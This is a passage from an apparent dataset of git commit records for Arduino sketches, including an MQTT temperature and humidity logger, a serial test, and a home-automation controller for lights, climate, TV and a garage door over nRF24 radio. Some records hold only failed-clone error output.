\n#include <DallasTemperature.h>\n#include <SHT1x.h>\n#define dataPin 2\n#define clockPin 3\nSHT1x sht1x(dataPin, clockPin);\n\n\n#define ONE_WIRE_BUS_PIN A3\nfloat tempC2 = 0;\nfloat tempC3 = 0;\nunsigned long time;\n\nOneWire oneWire(ONE_WIRE_BUS_PIN);\nDallasTemperature sensors(&oneWire);\n\n\n#define MQTT_HOST \"190.97.168.236\" \n#define DHTPIN A0 \n\/\/#define DHTPIN2 A1\n\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\nDHT dht(DHTPIN, DHTTYPE);\n\/\/DHT dht2(DHTPIN2, DHTTYPE);\n\n\nchar message_buff[100];\nchar message_buff2[100];\nchar message[256];\nString id_sensor = \"prueba12\";\n\n\nfloat t2;\n\n\n\nvoid setup() {\n \n Serial.begin(9600);\n Bridge.begin();\n mqtt.begin(MQTT_HOST, 1883);\n dht.begin();\n sensors.begin(); \n \/\/sensors.setResolution(probe01, 10);\n \n mqtt.subscribe(\"rr\/temp\", someEvent);\n\n\n}\n\n\nvoid loop() {\n delay(2000);\n float h = sht1x.readHumidity();\n float t = sht1x.readTemperatureC();\n\n sensors.requestTemperatures();\n \n tempC2 = sensors.getTempCByIndex(0),4;\n \/\/tempC2 = sensors.getTempC(probe01);\n \n if (isnan(t) || isnan(h)) {\n Serial.println(\"Failed to from DHT\");\n mqtt.publish(\"error\/temp\/SHT\",\"error de lectura NAN SHT\" );\n }\n \n else if (t == 0.00 && h == 0.00)\n \n {\n Serial.println(\"Failed to from DHT\");\n mqtt.publish(\"error\/temp\/SHT\",\"error de lectura SHT\" );\n }\n \n else if (tempC2 == -127.00)\n \n {\n Serial.println(\"Failed to from DHT\");\n mqtt.publish(\"error\/temp\/ds18b20\",\"error de lectura ds18b20 -127.00\" );\n }\n \n \n else {\n \n \n if (millis() > (time + 15000)) {\n time = millis();\n \n String pubString = \"\" + String(t) + \",\" + String(tempC2) + \",\" + String(h) + \",\" + id_sensor + \"\";\n pubString.toCharArray(message_buff, pubString.length()+1);\n mqtt.publish(\"rr\/temp\",message_buff );\n\n }\n else{\n \n mqtt.monitor();\n }\n }\n\n}\n\nvoid someEvent(const String& topic, const String& subtopic, const String& message) {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rr\/dragino_sht11_mqtt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"40ec44d6538432602d567fd99f4a0238722745a8","subject":"init: simple arduino file for testing that serial i\/o works","message":"init: simple arduino file for testing that serial i\/o works\n","repos":"CyrusRoshan\/sparked","old_file":"exampleFile\/exampleFile.ino","new_file":"exampleFile\/exampleFile.ino","new_contents":"void setup() {\n Serial.begin(9600);\n pinMode(13, OUTPUT);\n}\n\nvoid loop() {\n Serial.print(\"test\");\n Serial.println(\"LINE\");\n delay(500);\n}\n\nvoid serialEvent() {\n while (Serial.available()) {\n\n char ch = (char)Serial.read();\n\n Serial.print(ch);\n Serial.println(ch);\n\n if (ch == '\\n') {\n Serial.print(\"Line detected\");\n } else if (ch == '1') {\n digitalWrite(13, HIGH);\n } else if (ch == '0') {\n digitalWrite(13, LOW);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'exampleFile\/exampleFile.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ed5a132e23644b9d1c756284fd5c15da4f33fc13","subject":"add example","message":"add example\n","repos":"hideakitai\/FPSTimer","old_file":"example\/example.ino","new_file":"example\/example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/hideakitai\/FPSTimer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dbfeef5bfa56e131a014463eb30d750e5f4c81ad","subject":"Stop doing math on volatile!","message":"Stop doing math on volatile!\n","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"2f8b20064b438aa73e73b1d80ad6fc22438ed442","subject":"COH-12: fixing library-version-checking code","message":"COH-12: fixing library-version-checking code","repos":"Denzo77\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,Denzo77\/OTRadioLink,DamonHD\/OTRadioLink,Denzo77\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,opentrv\/OTRadioLink,opentrv\/OTRadioLink,DamonHD\/OTRadioLink,DamonHD\/OTRadioLink","old_file":"test\/test.ino","new_file":"test\/test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Denzo77\/OTRadioLink.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e73db7e029a29a588a2b5fb8c1383522d5e783fd","subject":"Program controlling the Bedrooms functionality","message":"Program controlling the Bedrooms functionality","repos":"AnasKhedr\/Smart-Home-2017","old_file":"Microcontroller\/Code\/Living_Room_Program\/Living_Room_Program.ino","new_file":"Microcontroller\/Code\/Living_Room_Program\/Living_Room_Program.ino","new_contents":"\/*\n * Main Control Team\n * Arduino Control: Sultan Ibrahim Ibrahim\n * commented commands are used for debugging \n * NRF24l01+ connections:\n MOSI is connected to the digital pin 11\n MISO is connected to the digital pin 12\n SCK is connected to the digital pin 13\n CE is connected to the digital pin 9\n CSN is connected to the digital pin 10\n IRQ is not used or connected\n*\/\n\n#include \"DHT.h\"\n\/\/#include <AccelStepper.h>\n#include <Stepper.h>\n#include <SPI.h> \/\/the nRF24 modules uses SIP protocol so we must include SPI library\n#include \"RF24.h\" \/\/for all nRF24 modules\n#include <printf.h> \/\/to print nRF24 module detailes if needed\n#include \"StopWatch.h\" \/\/to allow using stopwatch function for time calculation\n\n\/\/defines\n#define STEPS_PER_MOTOR_REVOLUTION 32 \n#define HALFSTEP 8 \/\/interface 8 means a 4 wire half stepper\n#define motorPin1 2 \/\/ IN1 on the ULN2003 driver 1\n#define motorPin2 3 \/\/ IN2 on the ULN2003 driver 1\n#define motorPin3 4 \/\/ IN3 on the ULN2003 driver 1\n#define motorPin4 5 \/\/ IN4 on the ULN2003 driver 1\n\n#define DHTPIN 7 \/\/ what digital pin we're connected to\n#define DHTTYPE DHT11 \/\/ DHT 11\n\n\/\/constants\nconst byte pipes[][6] = {\"MSTR2\", \"SLV2\"}; \/\/this is SLV2 and Rpi is MSTR\nconst char ACK[40] = \"ACK\"; \/\/ACK to be sent to RPi to inform that messease we recived and\/or arduino is online\nconst char UC[40] = \"No such command\"; \/\/to send to Rpi if RPI didn't understand the command that was send (if Rpi didn't understand then the command was corrupted on sending)\nconst char NACK[40] = \"NACK\"; \/\/NACK to be sent to RPi to inform that arduino failed to do the command requested\n\nconst byte photoResistorPin = A0; \/\/the pin the photoresistor reads from\nconst byte relayPin = 6; \/\/the control pin for the relay to turn light on and off\nconst byte tempPin = A1; \/\/the pin for temperature sensor\nconst byte tempFanPin = A2; \/\/the pin connected to the fan to enable or disable it\nconst byte tempHeaterPin = A3; \/\/the pin connected to the heater to enable or disable it\nconst byte PIRPin = A4; \/\/the pin connected to PIR sensors digital output read pin for pir (active high: 0 => no living being was detected, 1 => there is a living being within range)\n\/\/const byte PIRAlarmPin = 7; \/\/the pin connected to the alarm(buzzer or led) of PIR sensors \nconst byte tvPin = 8; \/\/the pin connected to the tv (turn on and off the tv)\nconst byte contactPin = A5; \/\/the pin connected to the garage contact to indicate whether it's open or closed\n\n\/\/data\nbool serial_state = 0;\nchar data[40] = \"\"; \/\/to store incoming string from RPi\nfloat tempCelsius; \/\/temperature in celcius\nfloat tempReference = 25; \/\/to store the desired temperature the user wants\nint lightState; \/\/to store whether the light is turned on or off\nint PIRState; \/\/to store the PIR sensors digital reading\nint fanState; \/\/to store whether the fan is turned on or off\nint heaterState; \/\/to store whether the heater is turned on or off\nint garageState; \/\/to store whether the garage is open or closed\nfloat photoResistorVoltage; \/\/to store the voltage from the photoresistor\nfloat onReference = 3.0; \/\/referenc voltage to turn light off if below it\nbyte retry; \/\/to print the number of retries that the program will attempt to send ACK to Rpi before giving up\n\/\/int startPosition;\nint tvState; \/\/to store TV state, either on or off\nfloat humidityOutside; \/\/to store the percentage of the humidity measured outside the house\nfloat temperatureOutside; \/\/to store the temperature in celsius outside the house\n\nbool timeout = false; \/\/to know when time out and stop the wait for something to happen and move on\nbool ret = false; \/\/the return of the attempt to write all data to Rpi (0: failed, 1: success)\nbool garageRetern;\n\nStopWatch SW; \/\/initialize stopwatch\nRF24 radio(9, 10); \/\/initialize nrf24 module with CE connected to D9 and CSN connected to D10\n\/\/AccelStepper stepper(HALFSTEP, motorPin1, motorPin3, motorPin2, motorPin4);\nStepper stepper(STEPS_PER_MOTOR_REVOLUTION, motorPin1, motorPin3, motorPin2, motorPin4);\nDHT dht(DHTPIN, DHTTYPE);\n\n\nvoid setup() {\n Serial.begin(115200); \/\/initialize with data rate of 115200 bit per second\n \/\/SPI.setClockDivider(SPI_CLOCK_DIV2);\n \/\/Serial.println(\"entered setup\");\n radio.begin(); \/\/initialize nrf24 connection\n printf_begin(); \/\/initialize print radion details\n radio.setRetries(15, 15); \/\/set to retry writing (if failed) to max of 15 times with a wait of 15*250us between each retry\n radio.openWritingPipe(pipes[1]); \/\/open channel on address SLV1 to write to master\n radio.openReadingPipe(1, pipes[0]); \/\/open channel on address 'MSTR' to read from master\n radio.startListening(); \/\/set the nrf24 mode to listen for incoming messages\n\n \/\/Serial.println(\"setting up motor\");\n stepper.setSpeed(400);\n \/*\n stepper.setMaxSpeed(1000.0);\n stepper.setAcceleration(100.0);\n stepper.setSpeed(200);\n *\/\n\n dht.begin();\n\n \/\/Serial.println(\"setting pinmode\");\n \/\/setting the mode of input and output pins according to the purpose of usage\n pinMode(tempPin,INPUT);\n pinMode(tempFanPin,OUTPUT); \/\/analog pin\n pinMode(tempHeaterPin,OUTPUT); \/\/analog pin\n pinMode(photoResistorPin,INPUT);\n pinMode(relayPin,OUTPUT);\n pinMode(PIRPin,INPUT);\n \/\/pinMode(PIRAlarmPin,OUTPUT); \/\/ no need to set its mode to input since it's input by default (analog pin) but we'll do it anyways\n pinMode(tvPin,OUTPUT);\n pinMode(contactPin,INPUT);\n\n \/\/Serial.println(\"just before findstart()\");\n \/\/findStart(); \/\/when uncommented causes problem with tempReference, check stepper control in general \n}\n\n\/\/--------------------------------------------------------------------\n\/\/--------------------------------------------------------------------\n\nvoid loop() {\n\n \/\/check is serial bus is connected\n if(Serial){\n serial_state = 1; \/\/set the serial state to 1 (true) if serial is connected\n }\n else{\n serial_state = 0; \/\/set the serial state to 0 (false) if serial is NOT connected\n }\n \n if(Serial.available() && serial_state){ \/\/for printing data to serial\n Serial.println(\"in serial available\");\n char c = toupper(Serial.read()); \/\/just to empty serial buffer\n printData();\n }\n \n if (radio.available()){ \/\/if data are found in nrf24 buffer \n \/\/Serial.print(\"available radio !\\n\"); \/\/for debugging\n receiver(); \/\/call a function called receiver to handle incoming data (line: 252)\n }\n\n readVoltage(); \/\/go ahead and read(update) the values of all sensors (line: 185)\n\n lightControl(); \/\/call the function that controls the light (on or off) (line: 102)\n tempControl(); \/\/call the function that controls the temperature (fan or heater or none) (line: 113)\n PIRControl(); \/\/call the function that controls the PIR alarm (on or off) (line: 147)\n}\n\n\/\/--------------------------------------------------------------------\n\/\/--------------------------------------------------------------------\n\nvoid readVoltage(){\n photoResistorVoltage = analogRead(photoResistorPin); \/\/read light sensors analog output\n photoResistorVoltage = photoResistorVoltage * (5.0 \/ 1023.0); \/\/convert to range 0-5V\n\n tempCelsius = analogRead(tempPin); \/\/store voltage first then convert it to celcius\n tempCelsius = Thermistor(tempCelsius); \/\/temperature in celcius (line: 174)\n\n PIRState = digitalRead(PIRPin); \/\/read PIR sensors digital output\n garageState = digitalRead(contactPin); \/\/read grage state (open or closed)\n\n temperatureOutside = dht.readTemperature(); \/\/read temperature in Celsius (the default)\n humidityOutside = dht.readHumidity(); \n\n}\n\n\/\/--------------------------------------------------------------------\n\/*\nint findStart(){ \/\/move untill you close the door\n stepper.moveTo(-20000); \/\/ +ve means clockwise\n garageState = digitalRead(contactPin);\n\n while(!garageState){ \/\/while the garage door is still open\n stepper.run();\n garageState = digitalRead(contactPin);\n \n if(stepper.distanceToGo() == 0){\n Serial.println(\"we couldn't close the door, something is wrong we either the switch or the motor!\");\n return 1;\n }\n }\n\n startPosition = stepper.currentPosition();\n Serial.print(\"we reached start position at: \"); Serial.println(startPosition);\n return 0;\n}\n*\/\n\/\/--------------------------------------------------------------------\n\nvoid lightControl(){\n \/\/light control\n if (photoResistorVoltage < (onReference-1)) { \/\/ some light detected\n digitalWrite(relayPin, LOW); \/\/turn light off\n lightState = 0; \/\/light is turend off\n }\n else if (photoResistorVoltage >= onReference) { \/\/ it's almost dark(according ro sensors datasheet) \n digitalWrite(relayPin, HIGH); \/\/turn light on\n lightState = 1; \/\/light is turned on\n }\/\/ the threshold at which the light is turned on or off is chosen to satisfy the user's preferences\n}\n\nvoid tempControl(){\n \/\/temperature control\n if(tempCelsius >= (tempReference+3)){ \/\/if the current temperature(tempCelsius) is larger than the desired value+margin << the range is chosen to satisfy the user's preferences\n digitalWrite(tempFanPin,HIGH); \/\/turn on the fan\n fanState = 1;\n digitalWrite(tempHeaterPin,LOW); \/\/turn off the heater\n heaterState = 0;\n }\n else if(tempCelsius <=(tempReference-3)){ \/\/if the current temperature(tempCelsius) is smaller than the desired value+margin\n digitalWrite(tempHeaterPin,HIGH); \/\/turn on heater\n heaterState = 1;\n digitalWrite(tempFanPin,LOW); \/\/turn off heater\n fanState = 0;\n }\n else if(tempCelsius < (tempReference+2) && tempCelsius > (tempReference-2)){ \/\/current temperature is within desired value + and - margin\n digitalWrite(tempHeaterPin,LOW); \/\/turn off heater\n heaterState = 0;\n digitalWrite(tempFanPin,LOW); \/\/turn off fan\n fanState = 0;\n }\n}\n\nvoid PIRControl(){ \/\/no pin for PIRAlarmPin\n \/\/PIR Control (active high)\n if(PIRState == HIGH){ \/\/if a lifeform was detected\n \/\/digitalWrite(PIRAlarmPin,HIGH); \/\/activate the pir alarm\n \/\/PIRAlarm = true;\n }\n else{ \/\/otherwise\n \/\/digitalWrite(PIRAlarmPin,LOW); \/\/stop the pir alarm\n \/\/PIRAlarm = false;\n }\n}\n\nvoid tvControl(bool state){\n digitalWrite(tvPin ,state);\n tvState = state;\n}\n\nint garageDoorControl(bool open_close){ \/\/state == 1 means closed\n garageState = digitalRead(contactPin);\n \n if(!open_close){\/\/ open the door if it's closed otherwise, do nothing\n if(garageState){\/\/if the garage is closed\n stepper.step(3000); \/\/change to the number of steps that will open the door\n garageState = digitalRead(contactPin);\n \n if(garageState){\/\/if garage is still open\n if(serial_state){\n Serial.println(\"failed to open garage door!\");\n }\n return 1;\n }\n else{\n if(serial_state){\n Serial.println(\"garage door was opened successfully.\");\n }\n return 0;\n }\n }\n else{\/\/if the garage door is open\n if(serial_state){\n Serial.println(\"garage door is aleady open!\");\n }\n return 0;\n }\n }\n \n else if(open_close){\/\/ close the door if it's opened otherwise, do nothing\n int count = 0;\n if(!garageState){\/\/if the garage door is open\n while(!garageState && count < 2000){\n stepper.step(-10);\n count++;\n garageState = digitalRead(contactPin);\n }\n }\n if(!garageState){\/\/if garage is still open\n if(serial_state){\n Serial.println(\"failed to close garage door!\");\n }\n return 1;\n }\n else{\n if(serial_state){\n Serial.println(\"garage door was closed successfully.\");\n }\n return 0;\n }\n }\n else{\/\/if the garage door is closed\n if(serial_state){\n Serial.println(\"garage door is aleady closed!\");\n }\n return 0;\n }\n}\n\n\/\/--------------------------------------------------------------------\n\nfloat Thermistor(int RawADC) { \/\/convert the temperature sensors read to celsius\n float Temp;\n Temp = log(10000.0*((1024.0\/RawADC-1))); \n Temp = 1 \/ (0.001129148 + (0.000234125 + (0.0000000876741 * Temp * Temp ))* Temp );\/\/Temp in Kelvin\n Temp = Temp - 271.15; \/\/ Convert Kelvin to Celsius\n Temp = 50- Temp;\n return Temp;\n}\n\n\/\/---------------------------------------------------------------------\n\nbool sendData(){\/\/write all the available sensors reading to nRF24 which in turn will sent it to Rpi\n ret = true; \/\/this ret is a logical and between all write function (if a single one write failed then the ret will be 0, and if all succeeded then ret will be 1)\n \/\/ret *= radio.write(&reset,sizeof(reset));\n \/\/Serial.print(\"photoResistorVoltage send: \"); Serial.println(ret);\n ret *= radio.write(&photoResistorVoltage,sizeof(photoResistorVoltage)); \/\/float\n ret *= radio.write(&onReference,sizeof(onReference));\n ret *= radio.write(&lightState,sizeof(lightState));\n ret *= radio.write(&tempCelsius,sizeof(tempCelsius));\n ret *= radio.write(&tempReference,sizeof(tempReference));\n ret *= radio.write(&fanState,sizeof(fanState));\n ret *= radio.write(&heaterState,sizeof(heaterState));\n ret *= radio.write(&PIRState,sizeof(PIRState));\n ret *= radio.write(&garageState,sizeof(garageState));\n ret *= radio.write(&tvState,sizeof(tvState));\n ret *= radio.write(&humidityOutside,sizeof(humidityOutside));\n ret *= radio.write(&temperatureOutside,sizeof(temperatureOutside));\n radio.flush_tx(); \/\/flush the tx buffer in case any write failed and something remained\n return ret; \/\/return the overall result of write attempt\n}\n\nvoid printData(){ \/\/print data (readings) to serial (for debugging)\n if(!serial_state){ \/\/check to see if serial bus is not connected\n return; \/\/if not connected then exit the function. there is no one to print to.\n }\n Serial.println(\"-------------------------------------------------\");\n Serial.print(\"Photo Resistor Voltage: \");\n Serial.println(photoResistorVoltage);\n Serial.print(\"Photo Resistor Reference: \");\n Serial.println(onReference);\n Serial.print(\"light State: \");\n Serial.println(lightState);\n Serial.print(\"temperature: \");\n Serial.println(tempCelsius);\n Serial.print(\"temperature Reference: \");\n Serial.println(tempReference);\n Serial.print(\"fan State: \");\n Serial.println(fanState);\n Serial.print(\"heater State: \");\n Serial.println(heaterState);\n Serial.print(\"PIR sensors Digital Output: \");\n Serial.println(PIRState);\n Serial.print(\"Garage state is: \");\n Serial.println(garageState);\n Serial.print(\"TV state is: \");\n Serial.println(tvState);\n Serial.print(\"humidityOutside is: \");\n Serial.println(humidityOutside);\n Serial.print(\"temperatureOutside is: \");\n Serial.println(temperatureOutside);\n Serial.println(\"-------------------------------------------------\");\n}\n\n\/\/--------------------------------------------------------------------\n\n\/\/whenever there is data received this function will be called to handle the data\nvoid receiver(){\n while (radio.available()) { \/\/read all data in buffer\n radio.read(&data, sizeof(char[40])); \/\/append all byets to string after converting (casting) them to char\n }\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.print(\"recevied: \"); Serial.println(data); \/\/for debugging\n }\n reply(); \/\/call reply function to respond correctly to the message sent (line: 261)\n}\n\n\/\/---------------------------------------------------------------------\n\nvoid reply(){\n \/\/Serial.println(\"------------------------------\");\n \/\/-----------------------------------------------------------\n if (strcmp(data , \"readDataSLV2\") == 0) { \n \n \/\/Serial.println(\"entered readDataSLV2\");\n radio.stopListening(); \/\/stop listening because we're about to talk\n readVoltage(); \/\/read latest sensors values\n ret = sendData(); \/\/call senddata function to write all the readings to radio (line: 203)\n radio.startListening(); \/\/now that we sent the data start listening for respond (or if tha data sending failed then Rpi will probably ask us to send data again)\n printData(); \/\/print all readings to serial (line: 222)\n \n if(!ret){ \/\/if sending failed\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"Data was NOT sent successfully!\");\n Serial.println(\"-------------------------------------------------\");\n }\n return 1; \/\/exit function completlry with error (1 indicate error and 0 indicate success[standard error and success return])\n }\n else{ \/\/if the write was successful\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"Data was sent successfully\");\n Serial.println(\"-------------------------------------------------\");\n }\n return 0; \/\/exit\n }\n }\n\n \/\/-------------------------------------------------------------\n else if (strcmp(data , \"lightReference\") == 0){\n if(serial_state){\n Serial.println(\"entering light ref\"); \/\/for debugging\n Serial.println(\"---------------------------------------\");\n }\n \/\/send_light_data: \/\/used in previous version of this communication protocol\n radio.stopListening(); \/\/stop listening because we're about to talk\n \n ret = false;\n retry = 0;\n while (!ret && retry <= 5) { \/\/if sending failed retry sending again in 1ms for 5 times\n ret = radio.write(&ACK, sizeof(char[40])); \/\/of course, this write command already retries sending 15 times with a delay of 15*250us between every retry (like we setup before in setRetries [line: 68])\n radio.flush_tx(); \/\/empty the tx buffer in case transmission failed\n retry ++;\n delay(1);\n }\n \n radio.flush_tx(); \/\/empty the tx buffer just to be sure\n \n if (!ret) { \/\/if transmission fialed \/\/if transmission fialed\n radio.startListening(); \/\/start listening for incoming messages, Rpi might send some other message later on\n \/\/radio.printDetails();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"failed to send ACK\"); \/\/print error message if module failed to send data\n Serial.println(\"---------------------------------------\");\n }\n return 1; \/\/exit with error\n \/\/loop();\n }\n\n radio.startListening(); \/\/start listening for incoming messages, Rpi might send some other message later on\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.print(\"number of retries: \"); Serial.println(retry);\n Serial.println(\"sent ACK successfully\");\n }\n timeout = false;\n SW.start(); \/\/start counting time\n while(!radio.available()){ \/\/while no messages in rx buffer\n if(SW.elapsed() > 400){ \/\/wait for 400ms for incoming message, used to be 2000ms\n if(serial_state){\n Serial.print(\"time: \"); Serial.println(SW.elapsed());\n }\n timeout = true; \/\/if 400ms passed and still no no icoming message\n break; \/\/break from the while loop\n }\n }\n\n SW.stop(); \/\/stop the counter\n SW.reset(); \/\/reset the counter\n \n if(timeout){ \/\/400ms passed without receiving data\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"Timeout, no incoming data\"); \/\/print error message and then retry sending data\n Serial.println(\"---------------------------------------\");\n }\n \/\/goto send_data;\n return 1; \/\/exit from function with error\n }\n else{ \/\/if no error happened in reading\n radio.read(&onReference, sizeof(float)); \/\/read the on light refrence \n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.print(\"onRef received: \"); Serial.println(onReference);\n Serial.println(\"---------------------------------------\");\n }\n return 0; \/\/exit function\n }\n }\n\n \/\/-------------------------------------------------------------\n else if (strcmp(data , \"tempReference\") == 0){\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"entering temp ref\");\n Serial.println(\"---------------------------------------\");\n }\n \/\/send_temp_data:\n radio.stopListening();\n \/\/Serial.println(\"stopped listening\");\n ret = false;\n retry = 0;\n while (!ret && retry <= 5) { \/\/if sending failed retry sending again in 1ms for 5 times\n ret = radio.write(&ACK, sizeof(char[40]));\n radio.flush_tx();\n retry ++;\n delay(1);\n }\n \/\/Serial.println(\"done writing\");\n radio.flush_tx();\n \n if (!ret) { \/\/if transmission fialed\n radio.startListening();\n \/\/radio.printDetails();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"failed to send ACK\"); \/\/print error message if module failed to send data\n Serial.println(\"---------------------------------------\");\n }\n return 1;\n \/\/loop();\n }\n\n radio.startListening();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.print(\"number of retries: \"); Serial.println(retry);\n Serial.println(\"sent ACK successfully\");\n }\n timeout = false;\n SW.start();\n while(!radio.available()){ \/\/wait for 400ms for incoming message\n if(SW.elapsed() > 2000){\n if(serial_state)\n Serial.print(\"time: \"); Serial.println(SW.elapsed());\n timeout = true;\n break;\n }\n }\n\n SW.stop();\n SW.reset();\n \n if(timeout){ \/\/400ms passed without receiving data\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"Timeout, no incoming data\"); \/\/print error message and then retry sending data\n Serial.println(\"---------------------------------------\");\n }\n \/\/goto send_data;\n return 1;\n }\n else{ \/\/if no error happened in reading\n radio.read(&tempReference, sizeof(float));\n if(serial_state){ \/\/check if serial bus is connected\n Serial.print(\"tempReference received: \"); Serial.println(tempReference);\n Serial.println(\"---------------------------------------\");\n }\n return 0;\n }\n }\n\n \/\/-------------------------------------------------------------\n else if(strcmp(data , \"tvOn\") == 0){\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"entering tvOn\");\n Serial.println(\"---------------------------------------\");\n }\n\n Serial.println(\"enter tv control\");\n tvControl(1);\n Serial.println(\"exit tv control\");\n radio.stopListening();\n \n ret = false;\n retry = 0;\n while (!ret && retry <= 5) { \/\/if sending failed retry sending again in 1ms for 5 times\n ret = radio.write(&ACK, sizeof(char[40]));\n radio.flush_tx();\n retry ++;\n delay(1);\n }\n\n radio.flush_tx();\n \n if (!ret) { \/\/if transmission fialed\n radio.startListening();\n \/\/radio.printDetails();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"failed to send ACK\"); \/\/print error message if module failed to send data\n Serial.println(\"---------------------------------------\");\n }\n return 1;\n \/\/loop();\n }\n\n radio.startListening();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.print(\"number of retries: \"); Serial.println(retry);\n Serial.println(\"sent ACK successfully\");\n }\n \/\/Serial.println(\"exit tv on\");\n }\n\n \/\/-------------------------------------------------------------\n else if(strcmp(data , \"tvOff\") == 0){\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"entering tvOff\");\n Serial.println(\"---------------------------------------\");\n }\n \n tvControl(0); \/\/turn off tv\n radio.stopListening();\n \n ret = false;\n retry = 0;\n while (!ret && retry <= 5) { \/\/if sending failed retry sending again in 1ms for 5 times\n ret = radio.write(&ACK, sizeof(char[40]));\n radio.flush_tx();\n retry ++;\n delay(1);\n }\n\n radio.flush_tx();\n \n if (!ret) { \/\/if transmission fialed\n radio.startListening();\n \/\/radio.printDetails();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"failed to send ACK\"); \/\/print error message if module failed to send data\n Serial.println(\"---------------------------------------\");\n }\n return 1;\n \/\/loop();\n }\n\n radio.startListening();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.print(\"number of retries: \"); Serial.println(retry);\n Serial.println(\"sent ACK successfully\");\n }\n }\n\n \/\/-------------------------------------------------------------\n else if(strcmp(data , \"openGarageDoor\") == 0){\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"---------------------------------------\");\n Serial.println(\"entering openGarageDoor\");\n }\n \n garageRetern = garageDoorControl(0); \/\/open garage door\n radio.stopListening();\n \n ret = false;\n retry = 0;\n \n if(garageRetern == 0){\/\/success\n while (!ret && retry <= 5) { \/\/if sending failed retry sending again in 1ms for 5 times\n ret = radio.write(&ACK, sizeof(char[40]));\n radio.flush_tx();\n retry ++;\n delay(1);\n }\n if (!ret) { \/\/if transmission fialed\n radio.startListening();\n \/\/radio.printDetails();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"failed to send ACK\"); \/\/print error message if module failed to send data\n Serial.println(\"---------------------------------------\");\n }\n return 1;\n \/\/loop();\n }\n }\n else{\/\/failed\n while (!ret && retry <= 5) { \/\/if sending failed retry sending again in 1ms for 5 times\n ret = radio.write(&NACK, sizeof(char[40]));\n radio.flush_tx();\n retry ++;\n delay(1);\n }\n\n if (!ret) { \/\/if transmission fialed\n radio.startListening();\n \/\/radio.printDetails();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"failed to send NACK\"); \/\/print error message if module failed to send data\n Serial.println(\"---------------------------------------\");\n }\n return 1;\n \/\/loop();\n }\n }\n\n radio.flush_tx(); \n\n radio.startListening();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.print(\"number of retries: \"); Serial.println(retry);\n Serial.println(\"sent ACK\/NACK successfully\");\n Serial.println(\"---------------------------------------\");\n }\n return 0;\n }\n\n \/\/-------------------------------------------------------------\n else if(strcmp(data , \"closeGarageDoor\") == 0){\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.println(\"---------------------------------------\");\n Serial.println(\"entering closeGarageDoor\");\n }\n \n garageRetern = garageDoorControl(1); \/\/close garage door\n radio.stopListening();\n \n ret = false;\n retry = 0;\n\n if(garageRetern == 0){\/\/success\n while (!ret && retry <= 5) { \/\/if sending failed retry sending again in 1ms for 5 times\n ret = radio.write(&ACK, sizeof(char[40]));\n radio.flush_tx();\n retry ++;\n delay(1);\n }\n if (!ret) { \/\/if transmission fialed\n radio.startListening();\n \/\/radio.printDetails();\n if(serial_state){ \/\/check to see if serial bus is connected \n Serial.println(\"failed to send ACK\"); \/\/print error message if module failed to send data\n Serial.println(\"---------------------------------------\");\n }\n return 1;\n \/\/loop();\n }\n }\n else{\/\/failed\n while (!ret && retry <= 5) { \/\/if sending failed retry sending again in 1ms for 5 times\n ret = radio.write(&NACK, sizeof(char[40]));\n radio.flush_tx();\n retry ++;\n delay(1);\n }\n if (!ret) { \/\/if transmission fialed\n radio.startListening();\n \/\/radio.printDetails(); \/\/check to see if serial bus is connected\n if(serial_state){\n Serial.println(\"failed to send NACK\"); \/\/print error message if module failed to send data\n Serial.println(\"---------------------------------------\");\n }\n return 1;\n \/\/loop();\n }\n }\n \n radio.flush_tx();\n \n radio.startListening();\n if(serial_state){ \/\/check to see if serial bus is connected\n Serial.print(\"number of retries: \"); Serial.println(retry);\n Serial.println(\"sent ACK\/NACK successfully\");\n Serial.println(\"---------------------------------------\");\n 